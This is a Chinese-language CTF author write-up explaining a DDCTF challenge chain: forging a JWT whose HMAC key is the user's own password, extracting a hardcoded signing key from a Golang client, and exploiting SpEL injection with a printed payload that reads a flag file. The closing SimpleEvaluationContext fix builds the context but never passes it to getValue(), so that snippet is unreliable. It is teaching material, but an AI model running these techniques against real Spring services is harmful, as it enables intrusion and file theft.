0x00 概述

去年DDCTF-2019给出的题目是PHP 越权、Bypass black list、模版注入、文件读取漏洞的题目,而今年想了想决定出一道Java+Golang无符号逆向的题目,定位还是相对基础简单的漏洞利用分值只有150分,最后只有43位同学占比6%顺利做出这道题目。WriteUp可以参考滴滴安全应急响应中心公众号

题目:请从服务端获取client,利用client获取flag,server url:http://117.51.136.197/hint/1.txt
CTF利用链路

  • Server:JWT错误使用
  • Client:Golang二进制中密钥key获取
  • Server:SpEL

0x01 CTF环境

因为涉及Server端的命令执行漏洞,所以环境部署相对谨慎

  • docker-compose部署做水平扩展
  • nginx 负责均衡、health_check
    1
    2
    3
    4
    5
    upstream server_pools{
    server 127.0.0.1:8081 weight=10 max_fails=3 fail_timeout=10;
    server 127.0.0.1:8082 weight=5 max_fails=3 fail_timeout=10;
    server 127.0.0.1:8080 backup;
    }
  • 依赖服务:Log/Flag、Server、Client健康检查/Java Server内存马(filter方式)check

0x02 题目分析

0x02.01 JWT错误使用

首先在题目描述中给出需要利用的两个接口文档、简单的题目流程架构及JWT利用的hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL | http://117.51.136.197/admin/login
Param | username str | pwd str
Response
token str | auth(Certification information)

- auth interface
Request
Method | POST
URL | http://117.51.136.197/admin/auth
Param | username str | pwd str | token str
Response
url str | client download link

+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client(Linux) | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+

0x02.01.01 login接口

根据用户可控的账号密码获取JWT凭证
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
@RequestMapping(value ="/login", method = RequestMethod.POST)
@ResponseBody
public ResponseEntity<RestResponse> Login(@RequestParam String username, @RequestParam String pwd) {
try {
if (username.isEmpty() || pwd.isEmpty()) {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_PARAMS));
}
String token = JWTUtil.getToken(username, pwd, "GUEST");
return ResponseEntity.ok(RestResponse.succuess(token));
} catch (Exception e) {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_EXCEPTION));
}
}

jwt凭证中加密方式

1
2
3
4
5
6
7
8
9
public static String getToken(String userName, String pwd, String userRole) {
try {
Date date = new Date(System.currentTimeMillis() + EXPIRE_TIME);
Algorithm algorithm = Algorithm.HMAC256(pwd);
return JWT.create().withClaim("userName", userName).withClaim("pwd", pwd).withClaim("userRole", userRole).withExpiresAt(date).sign(algorithm);
} catch (UnsupportedEncodingException e) {
return null;
}
}

使用HMAC256签名,而密钥为用户可控的参数PWD,对应题目描述中的[-][Safet Reminder]The Private key cannot use request parameter

0x02.01.02 auth接口

利用login接口中获取的jwt凭证来auth接口做认证并或去client下载地址
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping("/auth")
public ResponseEntity<RestResponse> Auth(HttpServletRequest request, @RequestParam String token, @RequestParam String username, @RequestParam String pwd) {
try {
if (username.isEmpty() || pwd.isEmpty() || token.isEmpty()) {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_PARAMS));
}
if (JWTUtil.verify(token, username, pwd)) {
String ipAddress = IpUtil.getIpAddr(request);
String userRole = JWTUtil.getUserRole(token);
logger.info("/auth [userRole]:" + userRole + " [token]:"+token + " [ip]:" + ipAddress);
if (userRole.equalsIgnoreCase("ADMIN")) {
return ResponseEntity.ok(RestResponse.succuess("client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"));
} else {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_PERMISSION));
}
} else {
return ResponseEntity.ok(RestResponse.fail(ResultCode.TOKEN_INVALID));
}
} catch (NullPointerException e) {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_EXCEPTION));
}
}

认证失败提示ERROR_PERMISSION(1000, &quot;need ADMIN permission&quot;),所以在这里需要结合login接口猜解hmac的密钥并修改jwt payload中的userRole成功获取client的下载地址。这里如果输入的密码较短密钥非常容易被暴力猜解,有的同学直接使用pwd=1……

0x02.02 Golang-client

0x02.02.01 概述

golang无符号二进制程序,其中包含接口信息以及接口签名信息,linux下运行
ddctf-client-01

关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
func controlServerCommand() {
server_url := "http://117.51.136.197/server/command"
log.Printf("[*]Start send command to minions...")
var m ServerCommand
m.Command = "'DDCTF'"
m.Timestamp = time.Now().Unix()
m.Signature = getSign(m.Command, m.Timestamp)
b, _ := json.Marshal(m)
err, body := post(server_url, b)
if err != nil {
log.Print(err)
return
}
log.Printf("[+]send command url %s and response:%s", server_url, body)
}

func getSign(command string, time_stamp int64) (string) {
sign_input := []byte(fmt.Sprintf("%s|%d", command, time_stamp))
key := "DDCTFWithYou"
h := hmac.New(sha256.New, []byte(key))
h.Write([]byte(sign_input))
signature := base64.StdEncoding.EncodeToString(h.Sum(nil))
log.Printf("[+]get sign:%s, command:%s, time_stamp:%d", signature, command, time_stamp)
return signature
}
  • http://117.51.136.197/server/command 存在漏洞的server 接口信息

  • /server/command接口的签名(密钥/格式)等信息

    0x02.02.02 利用

  • 根据已知的签名格式逆向获取签名方式、密钥,抓包获取接口格式并利用

  • golang二进制程序打patch利用
    ddctf-client-patch

0x02.03 Java-Server

可以通过Fuzz发现是SpEL表达式注入漏洞,有简单的黑名单bypass即可
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@RequestMapping(value = "/command", method = RequestMethod.POST)
@ResponseBody
public ResponseEntity<RestResponse> Command(HttpServletRequest request) {
try {
JSONObject params = HttpUtil.getJSONParam(request);
String command = params.getString("command");
BlackUtil blackUtil = new BlackUtil();
boolean isBlack = blackUtil.verify(command);
if (isBlack) {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_COMMAND));
}
String sign = params.getString("signature");
String timeStamp = params.getString("timestamp");
String ipAddress = IpUtil.getIpAddr(request);
Date date = new Date();
Long nowTime = date.getTime() / 1000;
boolean verifyResult = HMACUtil.verify(command, timeStamp, sign);
logger.info("/command:[command]:" + command + " [ip]:" + ipAddress + "[request_time]" + timeStamp + "[nowTime]" + nowTime.toString() + " [verify]"+ verifyResult);
if (verifyResult) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(command);
Object expressionValue = expression.getValue();
return ResponseEntity.ok(RestResponse.succuess(expressionValue));
} else {
return ResponseEntity.ok(RestResponse.fail(ResultCode.ERROR_SIGN));
}
} catch (Exception e) {
return ResponseEntity.ok(RestResponse.succuess(ResultCode.ERROR_EXCEPTION));
}
}

Payload:

1
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'), T(java.nio.charset.Charset).defaultCharset())

0x03 涉及漏洞的安全过滤

题目中相对主要的利用点是Server端的SpEL表达式注入漏洞

1
2
3
4
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(command);
Object expressionValue = expression.getValue();
return ResponseEntity.ok(RestResponse.succuess(expressionValue));

可以使用Spring Framework提供的SimpleEvaluationContext做过滤

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(command).build();
Expression expression = parser.parseExpression(command);
Object expressionValue = expression.getValue();
return ResponseEntity.ok(RestResponse.succuess(expressionValue));

SimpleEvaluationContext和standardSimpleEvaluationContext区别在于是否使用classLoader处理EL表达式,这里具体流程不做赘述,可以调试或看源码即可

1
2
3
4
5
6
7
8
9
10
11
SimpleEvaluationContext ->
private static final TypeLocator typeNotFoundTypeLocator = typeName -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
};

standardSimpleEvaluationContext ->
this.typeLocator = new StandardTypeLocator();
public StandardTypeLocator() {
this(ClassUtils.getDefaultClassLoader());
}
cl = ClassLoader.getSystemClassLoader();